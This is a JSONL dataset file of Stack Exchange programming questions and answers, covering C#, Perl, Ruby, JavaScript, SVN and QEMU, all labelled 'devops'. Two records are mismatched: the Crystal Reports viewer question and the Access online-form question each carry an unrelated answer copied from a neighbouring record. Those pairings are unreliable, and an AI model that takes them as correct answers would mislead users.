{"id": "hf_0efdd3be49b8", "question": "<p>Let's say that a class has a <code>public int counter</code> field that is accessed by multiple threads. This <code>int</code> is only incremented or decremented.</p>\n\n<p>To increment this field, which approach should be used, and why?</p>\n\n<ul>\n<li><code>lock(this.locker) this.counter++;</code>,</li>\n<li><code>Interlocked.Increment(ref this.counter);</code>,</li>\n<li>Change the access modifier of <code>counter</code> to <code>public volatile</code>.</li>\n</ul>\n\n<p>Now that I've discovered <code>volatile</code>, I've been removing many <code>lock</code> statements and the use of <code>Interlocked</code>. But is there a reason not to do this?</p>\n", "question_body": "", "answer": "Interlocked functions do not lock.  They are atomic, meaning that they can complete without the possibility of a context switch during increment.  So there is no chance of deadlock or wait.\nI would say that you should always prefer it to a lock and increment.\nVolatile is useful if you need writes in one thread to be read in another, and if you want the optimizer to not reorder operations on a variable (because things are happening in another thread that the optimizer doesn't know about).  It's an orthogonal choice to how you increment.\nThis is a really good article if you want to read more about lock-free code, and the right way to approach writing it\nhttp://www.ddj.com/hpc-high-performance-computing/210604448", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:04.939033"}
{"id": "hf_b18585a39556", "question": "<p>I'm writing a simple web service using Microsoft Visual Web Developer 2005 (Express Edition), and the dynamically generated WSDL has a minOccurs=\"0\" for all the parameters. </p>\n\n<p>How do I get minOccurs=\"1\" for the required parameters without resorting to creating a static WSDL file?</p>\n\n<p>I need to do this <strong>using a ASP.NET Web Service</strong> (.NET v2). So, no WCF.</p>\n", "question_body": "", "answer": "from an msdn forum \n\"If you are creating a new web service, I highly recommend building the web service using the Windows Communication Foundation (WCF) instead of using ASP.NET Web Services.\nIn WCF, when you specify the data contract for your service you can speicfy that a given data member is required using the IsRequired property on the DataMemberAttribute.\n\"\nsource -\nhttp://social.msdn.microsoft.com/forums/en-US/asmxandxml/thread/40ab5748-d32c-42a6-a47f-984ba18a1fe2/", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:04.962425"}
{"id": "hf_66810b5061d1", "question": "<p>I have to implement a middleware system for file sharing, and it has to split the files not unlike what happens on bittorrent, where it sends and receives separate pieces simultaneously from varios sources. How do i do that? Is it a library or i have to implement the file splitting myself?</p>\n", "question_body": "", "answer": "Split the files into blocks let's say of 100KB each.  Then calculate a SHA hash (or some other hashing algorithm) on each of the blocks.  so if the file is 905KB, you would have 10  such hashes calculated.\nThe server would contain a hash definition file for each file that it serves.  This hash definition file would contain a list of all of the blocks of the file, along with the hash.   So if the server is serving our 905KB file called test.exe.  Then we would have another file called test.exe.hashes which contains a listing of the 10 hashes of the file.\nThe client would download the hash definition file, and ensure that it has all of the blocks.  The client can request each block individually and after it's downloaded, it can calculate the hash on its end again to ensure there is no corruption.\nYou don't need to physically split the file, splitting a file is just reading the part of it that you are interested in.  The first block of the file is from byte range 0 to 102399, the next block is from 102400 to 204800, and so on.  So just open the file, seek to that position, read the data, and close the file.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:04.985121"}
{"id": "hf_4f3eefd1436b", "question": "<p>In terms of Java, when someone asks: </p>\n\n<blockquote>\n  <p>what is polymorphism?</p>\n</blockquote>\n\n<p>Would <strong>overloading</strong> or <strong>overriding</strong> be an acceptable answer?</p>\n\n<p>I think there is a bit more to it than that. </p>\n\n<p><em>IF you had a abstract base class that defined a method with no implementation, and you defined that method in the sub class, is that still overridding?</em></p>\n\n<p>I think <strong>overloading</strong> is not the right answer for sure.</p>\n", "question_body": "", "answer": "The term overloading refers to having multiple versions of something with the same name, usually methods with different parameter lists\n```\n```\npublic int DoSomething(int objectId) { ... }\npublic int DoSomething(string objectName) { ... }\n```\n```\nSo these functions might do the same thing but you have the option to call it with an ID, or a name.  Has nothing to do with inheritance, abstract classes, etc.\nOverriding usually refers to polymorphism, as you described in your question", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:05.009581"}
{"id": "hf_a2433c7ea646", "question": "<p>I get FLAC files a lot and want to automate the taging of the end point MP3 files after I have converted them.</p>\n\n<p>What is my best library to interface with?  Vista machine and C# for my code base.  </p>\n\n<p>The flac files come with a text file for the show, and the numbers performed.  I'll edit that any way possible.</p>\n\n<p>I use winamp for a player but will try others if free.  :) </p>\n\n<p>TIA. </p>\n", "question_body": "", "answer": "Check out libid3tag...\nhttp://sourceforge.net/project/showfiles.php?group_id=12349\n...\nAnd, actually, the ID3 tag is prettty simple, it's just text (with fixed length fields) tacked on to the front of the MP3 file...\nJust make sure you follow the standard, as not all players, etc. do.  For more on that, check out this article on\nWikipedia\nlink text", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:05.061769"}
{"id": "hf_dcc0c812d813", "question": "<p>IO.popen() and system() in Ruby is sorely lacking several useful features, such as:</p>\n\n<ul>\n<li>obtaining the return value of the function</li>\n<li>capturing both stdout and stderr (seperately and merged)</li>\n<li>running without spawning an extra cmd.exe or /bin/sh process</li>\n</ul>\n\n<p>Python has a module \"subprocess\" which I was thinking about using as inspiration for a similar module in Ruby. Now to the questions:</p>\n\n<ul>\n<li>How are Ruby-programmers working around the issues above, for example obtaining the return value when doing a popen() call?</li>\n<li>Is this something which has already been implemented?</li>\n</ul>\n", "question_body": "", "answer": "system() exit status can be captured with\n```\n$?.exitstatus\n```\nstderr can be captured with something like\n```\nsystem 'command 2>&1'\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:05.118441"}
{"id": "hf_94034c584c7f", "question": "<p>I've noticed that sometimes wrapper scripts will use <code>${1:+\"$@\"}</code> for the parameters rather than just <code>\"$@\"</code>.</p>\n\n<p>For example, <a href=\"http://svn.macosforge.org/repository/macports/trunk/dports/editors/vim-app/files/gvim.sh\" rel=\"noreferrer\">http://svn.macosforge.org/repository/macports/trunk/dports/editors/vim-app/files/gvim.sh</a> uses</p>\n\n<pre><code>exec \"$binary\" $opts ${1:+\"$@\"}\n</code></pre>\n\n<p>Can anyone break <code>${1:+\"$@\"}</code> down into English and explain why it would be an advantage over plain <code>\"$@\"</code>?</p>\n", "question_body": "", "answer": "From the bash man page:\n```\n```\n${parameter:+word}\n          Use Alternate Value.  If parameter is null or unset, nothing  is\n          substituted, otherwise the expansion of word is substituted.\n```\n```\nSo,\n```\n\"$@\"\n```\nis substituted unless\n```\n$1\n```\nis unset. I can't see why they couldn't have just used\n```\n\"$@\"\n```\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:05.140683"}
{"id": "hf_bb1e8322ddba", "question": "<p>At the moment we use <a href=\"http://www.hsqldb.org/\" rel=\"noreferrer\">HSQLDB</a> as an embedded database, but we search for a database with less memory footprint as the data volume grows.</p>\n\n<p><a href=\"http://developers.sun.com/javadb/\" rel=\"noreferrer\">Derby / JavaDB</a> is not an option at the moment because it stores properties globally in the system properties. So we thought of <a href=\"http://www.h2database.com/html/main.html\" rel=\"noreferrer\">h2</a>.</p>\n\n<p>While we used HSQLDB we created a Server-object, set the parameters and started it. This is described <a href=\"http://hsqldb.org/doc/guide/ch04.html#N10BBC\" rel=\"noreferrer\">here</a> (and given as example in the class org.hsqldb.test.TestBase).</p>\n\n<p>The question is: Can this be done analogous with the h2 database, too? Do you have any code samples for that? Scanning the h2-page, I did not find an example.</p>\n", "question_body": "", "answer": "From the download, I see that the file tutorial.html has this\n```\n```\nimport org.h2.tools.Server;\n...\n// start the TCP Server\nServer server = Server.createTcpServer(args).start();\n...\n// stop the TCP Server\nserver.stop();\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:05.186095"}
{"id": "hf_48462e617485", "question": "<p>Is anyone out there still using DataFlex? If so, what are you favorite tips and tricks for this venerable 4GL?</p>\n", "question_body": "", "answer": "It all depends on the version of DF you're using, but here's a couple:\nDo not use \"While\" when traversing record sets. Always use repeat. (see example at bottom)\nThe dataflex newsgroups (news.dataaccess.com) is the best place to ask questions.\nOther useful sites include\nhttp://sture.dk/wasp\nand\nhttp://www.vdf-guidance.com\nUse entering_scope instead of activating to initialise values on forms.\nWith deferred modal objects, use a container object above the deferred object to pass in parameters.\nI've got loads more. But I'm just going to have to go and lie down. I can't believe someone asked a dataflex question.\n```\n```\nclear orders\nmove const.complete to orders.status\nfind ge orders by index.2\nrepeat\n    if orders.status ne const.complete indicate finderr true\n    if (not(finderr)) begin\n        send doYourStuffHere\n        find gt orders by index.2\n    end\nuntil (finderr)\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:05.208990"}
{"id": "hf_54cdc91cc9f9", "question": "<p>How would I create the equivalent Linq To Objects query?</p>\n\n<pre><code>SELECT MIN(CASE WHEN p.type = \"In\" THEN p.PunchTime ELSE NULL END ) AS EarliestIn,\n       MAX(CASE WHEN p.type = \"Out\" THEN p.PunchTime ELSE NULL END ) AS LatestOUt\nFROM Punches p\n</code></pre>\n", "question_body": "", "answer": "You can't efficiently select multiple aggregates in vanilla LINQ to Objects. You can perform multiple queries, of course, but that may well be inefficient depending on your data source.\nI have a framework which copes with this which I call \"Push LINQ\" - it's only a hobby (for me and Marc Gravell) but we believe it works pretty well. It's available as part of\nMiscUtil\n, and you can read about it in\nmy blog post on it\n.\nIt looks slightly odd - because you define where you want the results to go as \"futures\", then push the data through the query, then retrieve the results - but once you get your head round it, it's fine. I'd be interested to hear how you get on with it - if you use it, please mail me at skeet@pobox.com.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:05.265948"}
{"id": "hf_fdf120634ee3", "question": "<p>I'm trying to retrieve numeric values from a <code>DataGridView</code>. So far, the only way I've found is to retrieve them as a string and convert them to numeric.</p>\n\n<pre><code>Convert.ToDouble(MyGrid.SelectedRows[0].Cells[0].Value.ToString());\n</code></pre>\n\n<p>There must be an easier way. The cell is originally populated from a <code>DataSet</code> with a numeric field value but since the <code>DataGridViewCell</code> object returns it as an object, I can't do a straight assignment. I must be missing something simple here.</p>\n\n<p>Thanks.</p>\n", "question_body": "", "answer": "What is the error you are getting?\n```\nConvert.ToDouble\n```\nhas an overloaded method that takes an object, so you shouldn't need the\n```\nToString()\n```\n? Unless you are doing a\n```\nTryParse\n```\n?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:05.300131"}
{"id": "hf_ea6fea25400f", "question": "<p>In java, I could do this with the 'final' keyword. I don't see 'final' in C#. Is there a substitute?</p>\n", "question_body": "", "answer": "You're looking for the\n```\nsealed\n```\nkeyword. It does exactly what the\n```\nfinal\n```\nkeyword in Java does. Attempts to inherit will result in a compilation error.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:05.322612"}
{"id": "hf_52be6d916ebe", "question": "<p>We are using the MVC framework (release 5) and the CrystalReportViewer control to show our reports.  I cannot get any of the buttons at the top of the report viewer control to work.</p>\n\n<p>If I'm working with the report 'HoursSummary'.  If I hover over any of the buttons on the report viewer in IE the displayed link at the bottom of the pages is '../HoursSummary'.  This creates a url of '<a href=\"http://localhost/HoursSummary\" rel=\"noreferrer\">http://localhost/HoursSummary</a>'.  There is no 'HoursSummary' controller so I keep receiving 404 errors.</p>\n\n<ul>\n<li>I believe I want to redirect to '<a href=\"http://localhost/reports/HoursSummary\" rel=\"noreferrer\">http://localhost/reports/HoursSummary</a>' since I do have a reports controller.  If this is the correct method does anyone know which property I should set on the CrystalReportViewer control to make that happen?</li>\n<li>Is there an easier method to handle this situation?</li>\n</ul>\n", "question_body": "", "answer": "You're looking for the\n```\nsealed\n```\nkeyword. It does exactly what the\n```\nfinal\n```\nkeyword in Java does. Attempts to inherit will result in a compilation error.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:05.345397"}
{"id": "hf_6bdf45383aae", "question": "<p>does the TableLayoutPanel exist in VS 2005?</p>\n", "question_body": "", "answer": "Yes\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:05.432417"}
{"id": "hf_c11b889d5710", "question": "<p>I want to talk to a flash server which uses RTMP, but I don't want to use Flash, but rather c# or java.</p>\n\n<p>I was looking at Red5 but their client API seems to be a bit wobbly.</p>\n\n<p>Does anyone have any other ideas?</p>\n", "question_body": "", "answer": "There's a python implementation of the RTMP protocol,\nRTMPy\n. Other than that and Red5, I don't know of any other RTMP client implementations. (Well, besides flash itself of course).\nWhat flash server are you using? Some of them allow you to communicate with other protocols as well, such as text-based or XML-based, and those might be better to use than RTMP if your client is not flash-based.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:05.506748"}
{"id": "hf_c91f03bb97d1", "question": "<p>I would find out the <em>floppy inserted state</em>:</p>\n\n<ul>\n<li>no floppy inserted</li>\n<li>unformatted floppy inserted</li>\n<li>formatted floppy inserted</li>\n</ul>\n\n<p>Can this determined using \"WMI\" in the System.Management namespace?</p>\n\n<p>If so, can I generate events when the <em>floppy inserted state</em> changes? </p>\n", "question_body": "", "answer": "This comes from\nScripting Center @ MSDN\n:\n```\n```\nstrComputer = \".\"\nSet objWMIService = GetObject( _\n    \"winmgmts:\\\\\" & strComputer & \"\\root\\cimv2\")\nSet colItems = objWMIService.ExecQuery _\n    (\"Select * From Win32_LogicalDisk Where DeviceID = 'A:'\")\n\nFor Each objItem in colItems\n    intFreeSpace = objItem.FreeSpace\n    If IsNull(intFreeSpace) Then\n        Wscript.Echo \"There is no disk in the floppy drive.\"\n    Else\n        Wscript.Echo \"There is a disk in the floppy drive.\"\n    End If\nNext\n```\n```\nYou'll also be able to tell if it's formatted or not, by checking other members of the\nWin32_LogicalDisk class\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:05.529315"}
{"id": "hf_1fd2f7aa954e", "question": "<p>I need to create XML in Perl.  From what I read, <a href=\"http://search.cpan.org/dist/XML-LibXML\" rel=\"noreferrer\">XML::LibXML</a> is great for parsing and using XML that comes from somewhere else.  Does anyone have any suggestions for an XML Writer?  Is <a href=\"http://search.cpan.org/dist/XML-Writer\" rel=\"noreferrer\">XML::Writer</a> still maintained?  Does anyone like/use it?</p>\n\n<p>In addition to feature-completeness, I am interested an easy-to-use syntax, so please describe the syntax and any other reasons why you like that module in your answer.</p>\n\n<p>Please respond with one suggestion per answer, and if someone has already answered with your favorite, please vote that answer up.  Hopefully it will be easy to see what is most popular.</p>\n\n<p>Thanks!</p>\n", "question_body": "", "answer": "XML::Writer is still maintained (at least, as of February of this year), and it's indeed one of the favorite Perl XML writers out there.\nAs for describing the syntax, one is better to look at the module's documentation (the link is already in the question).  To wit:\n```\n```\nuse XML::Writer;\n\nmy $writer = new XML::Writer();  # will write to stdout\n$writer->startTag(\"greeting\", \n                  \"class\" => \"simple\");\n$writer->characters(\"Hello, world!\");\n$writer->endTag(\"greeting\");\n$writer->end();\n\n# produces <greeting class='simple'>Hello world!</greeting>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:05.552345"}
{"id": "hf_e14143ddb899", "question": "<p>We have an \"engine\" that loads dlls dynamically (whatever is located in a certain directory) and calls Workflow classes from them by way of reflection.</p>\n\n<p>We now have some new Workflows that require access to a database, so I figured that I would put a config file in the dll directory.</p>\n\n<p>But for some reason my Workflows just don't see the config file.</p>\n\n<pre><code>&lt;configuration&gt;\n  &lt;appSettings&gt;\n      &lt;add key=\"ConnectString\" value=\"Data Source=officeserver;Database=mydatabase;User ID=officeuser;Password=officeuser;\" /&gt;\n  &lt;/appSettings&gt;\n&lt;/configuration&gt;\n</code></pre>\n\n<p>Given the above config file, the following code prints an empty string:</p>\n\n<pre><code>Console.WriteLine(ConfigurationManager.AppSettings[\"ConnectString\"]);\n</code></pre>\n\n<p>I think what I want is to just specify a config filename, but I'm having problems here.  I'm just not getting results.\nAnyone have any pointers?</p>\n", "question_body": "", "answer": "Funny, where I'm at we're doing something very similar and the config file loads just fine.  In our case I think each new config file's name matches that of it's associated assembly.  So MyLibrary.dll would have a file named MyLibrary.dll.config with information for that file assembly.  Also, the example I have handy is using VB.Net rather than C# (we have some of each) and all the settings in there are for the VB-specific My.Settings namespace, so we don't use the ConfigurationManager class directly to read them.\nThe settings themselves look like this:\n```\n```\n<applicationSettings>\n    <MyLibrary.My.MySettings>\n        <setting name=\"SomeSetting\" serializeAs=\"String\">\n            <value>12345</value>\n        </setting>\n    </MyLibrary.My.MySettings>\n</applicationSettings>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:05.662710"}
{"id": "hf_d761e9e5665d", "question": "<p>I have a DataRow and I am getting one of the elements which is a Amount with a dollar sign. I am calling a toString on it. Is there another method I can call on it to remove the dollar sign if present. </p>\n\n<p><strong>So something like:</strong></p>\n\n<p><em>dr.ToString.Substring(1, dr.ToString.Length);</em></p>\n\n<p>But more conditionally in case the dollar sign ever made an appearance again.</p>\n\n<p>I am trying to do this with explicitly defining another string.</p>\n", "question_body": "", "answer": "```\n```\nConvert.ToString(dr(columnName)).Replace(\"$\", String.Empty)\n```\n```\n--\nIf you are working with a data table, then you have to unbox the value (by default its Object) to a string, so you are already creating a string, and then another with the replacement. There is really no other way to get around it, but you will only see performance differences when dealing with tens of thousands of operations.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:05.711127"}
{"id": "hf_c1cd65036c6c", "question": "<p>I'm looking for a way to create an online form that will update an Access database that has just a few tables. Does anyone know of a simple solution for this?</p>\n", "question_body": "", "answer": "```\n```\nConvert.ToString(dr(columnName)).Replace(\"$\", String.Empty)\n```\n```\n--\nIf you are working with a data table, then you have to unbox the value (by default its Object) to a string, so you are already creating a string, and then another with the replacement. There is really no other way to get around it, but you will only see performance differences when dealing with tens of thousands of operations.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:05.733930"}
{"id": "hf_f1cefcee8984", "question": "<p>I have a folder, <code>c:\\websites\\test</code>, and it contains folders and files that were checked out from a repository that no longer exists. How do I get Subversion to stop tracking that folder and any of the subfolders and files? </p>\n\n<p>I know I could simply delete the <code>.svn</code> folder, but there are a lot of sub-folders in many layers.</p>\n", "question_body": "", "answer": "Try\nsvn export\n.\nYou should be able to do something like this:\n```\n```\nsvn export /path/to/old/working/copy /path/to/plain/code\n```\n```\nAnd then just delete the old working copy.\nTortoiseSVN also has an\nexport feature\n, which behaves the same way.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:05.758171"}
{"id": "hf_e2508df8d302", "question": "<p>How can I convert a JavaScript string value to be in all lower case letters?</p>\n<p>Example: <code>&quot;Your Name&quot;</code> to <code>&quot;your name&quot;</code></p>\n", "question_body": "", "answer": "Yes, any string in JavaScript has a\n```\ntoLowerCase()\n```\nmethod that will return a new string that is the old string in all lower case.  The old string will remain unchanged.\nSo, you can do something like:\n```\n```\n\"Foo\".toLowerCase();\ndocument.getElementById('myField').value.toLowerCase();\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:05.781143"}
{"id": "hf_b9f7219a5ea4", "question": "<p>I was wrestling with some Perl that uses hash references.</p>\n\n<p>In the end it turned out that my problem was the line:</p>\n\n<pre><code>$myhash{$key} |= {};\n</code></pre>\n\n<p>That is, \"assign $myhash{$key} a reference to an empty hash, unless it already has a value\".</p>\n\n<p>Dereferencing this and trying to use it as a hash reference, however, resulted in interpreter errors about using a string as a hash reference.</p>\n\n<p>Changing it to:</p>\n\n<pre><code>if( ! exists $myhash{$key}) {\n  $myhash{$key} = {};\n}\n</code></pre>\n\n<p>... made things work.</p>\n\n<p>So I don't have a <em>problem</em>. But I'm curious about what was going on.</p>\n\n<p>Can anyone explain?</p>\n", "question_body": "", "answer": "Try this:\n```\n```\nmy %myhash;\n$myhash{$key} ||= {};\n```\n```\nYou can't declare a hash\nelement\nin a\n```\nmy\n```\nclause, as far as I know. You declare the hash first, then add the element in.\nEdit: I see you've taken out the\n```\nmy\n```\n. How about trying\n```\n||=\n```\ninstead of\n```\n|=\n```\n? The former is idiomatic for \"lazy\" initialisation.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:05.825936"}
{"id": "hf_3211a5eecd69", "question": "<p>What is the easiest way to find out how much memory an object uses in .NET?</p>\n\n<p>Preferably without having to resort to a third party tool.  Marshal.SizeOf or the sizeof operator look useful but only work with a restricted range of types.</p>\n\n<p>Some related posts:</p>\n\n<ul>\n<li><a href=\"https://stackoverflow.com/questions/109836/object-memory-analysis-in-net\">Object Memory Analysis in .NET</a></li>\n<li><a href=\"https://stackoverflow.com/questions/151936/does-an-empty-array-in-net-use-any-space\">Does an empty array in .NET use any space?</a></li>\n</ul>\n", "question_body": "", "answer": "Asked and answered here:\nDetermine how much memory a class uses?\nThe quick summary is that if you don't want to use a tool, you need to use the\n.NET Profiling API\nThe Profiling API is amazingly powerful, but I don't think it would qualify as \"easy\" by any stretch of the imagination, so I would strongly recommend using a memory profiling tool - there are some free ones that are OK, and some not-too-expensive commercial ones (\nJetBrains dotTrace\nin particular) that are really good.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:05.940196"}
{"id": "hf_06a921922cf1", "question": "<p>What book or website would you recommend to learn about QEMU?  I'd like to see some usage examples as well as how to use the APIs.</p>\n", "question_body": "", "answer": "Best Resources:\nMain QEMU Usage Documentation\nQemu Man Page\n- Invaluable resource when working with qemu.\nQuick Start Guide\n- Slightly ubuntu/debian specific. Covers KVM.\nQemu Networking Guide\n- Great resource, super useful.\nHave fun qemu's a great tool.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:06.115331"}
{"id": "hf_fd9ec93089ce", "question": "<p>I've got a relatively large .Net system that consists of a number of different applications. Rather than having lots of different app.config files, I would like to share a single configuration file between all the apps.</p>\n\n<p>I would also like to have one version when developing on my machine, one version for someone else developing on their machine, one version for a test system and one version for a live system. </p>\n\n<p>Is there an easy way of doing this? </p>\n", "question_body": "", "answer": "You could use a Post-build event (Properties -> Build Events) on your \"child\" projects to copy a config file from a master project to others, like this:\n```\n```\ncopy /Y c:\\path\\to\\master\\project\\app.config $(TargetPath).config\nexit 0\n```\n```\n(The \"exit 0\" as the last line prevents a build error).\nTo have separate config files for different build targets (\"RELEASE\", \"DEBUG\", etc), you can edit the .csproj file (or .vbproj) in NOTEPAD.EXE to add an AppConfig tag for each of the target groups, like this:\n```\n```\n<PropertyGroup Condition=\" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' \">\n    <DebugSymbols>true</DebugSymbols>\n    <DebugType>full</DebugType>\n    <Optimize>false</Optimize>\n    <OutputPath>.\\bin\\Debug\\</OutputPath>\n    <DefineConstants>DEBUG;TRACE</DefineConstants>\n    <AppConfig>debug.app.config</AppConfig>\n  </PropertyGroup>\n  <PropertyGroup Condition=\" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' \">\n    <DebugSymbols>true</DebugSymbols>\n    <DebugType>full</DebugType>\n    <Optimize>false</Optimize>\n    <OutputPath>.\\bin\\Devel\\</OutputPath>\n    <DefineConstants>TRACE</DefineConstants>\n    <AppConfig>release.app.config</AppConfig>\n  </PropertyGroup>\n```\n```\nNotice the new\n<AppConfig>\ntags present in each group.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:06.166385"}
{"id": "hf_322904783de3", "question": "<p>I would like to embed a light weight web server in a Windows application developed in .NET. The web server has to support PHP.</p>\n\n<p>I have looked at Cassini, but it seems it is ASP.NET only.</p>\n", "question_body": "", "answer": "The .net class HttpListener exposes the underlying http.sys upon which IIS is built.  All machines since Windows XP2 have http.sys installed by default.\nHere are some links to get you started.\nXML-RPC SERVER USING HTTPLISTENER\nHttpListener For Dummies\nAs for the PHP support, I don't know how you would enable this, but there is no technical reason you couldn't build it in.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:06.200850"}
{"id": "hf_789c8e525971", "question": "<p>I have one text input and one button (see below). How can I use JavaScript to <strong>trigger the button's click event</strong> when the <kbd>Enter</kbd> key is pressed inside the text box?</p>\n\n<p>There is already a different submit button on my current page, so I can't simply make the button a submit button. And, I <em>only</em> want the <kbd>Enter</kbd> key to click this specific button if it is pressed from within this one text box, nothing else.</p>\n\n<pre><code>&lt;input type=\"text\" id=\"txtSearch\" /&gt;\n&lt;input type=\"button\" id=\"btnSearch\" value=\"Search\" onclick=\"doSomething();\" /&gt;\n</code></pre>\n", "question_body": "", "answer": "Make the button a submit element, so it'll be automatic.\n```\n```\n<input type = \"submit\"\n       id = \"btnSearch\"\n       value = \"Search\"\n       onclick = \"return doSomething();\"\n/>\n```\n```\nNote that you'll need a\n```\n<form>\n```\nelement containing the input fields to make this work (thanks Sergey Ilinsky).\nIt's not a good practice to redefine standard behaviour, the\nEnter\nkey should always call the submit button on a form.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:06.263960"}
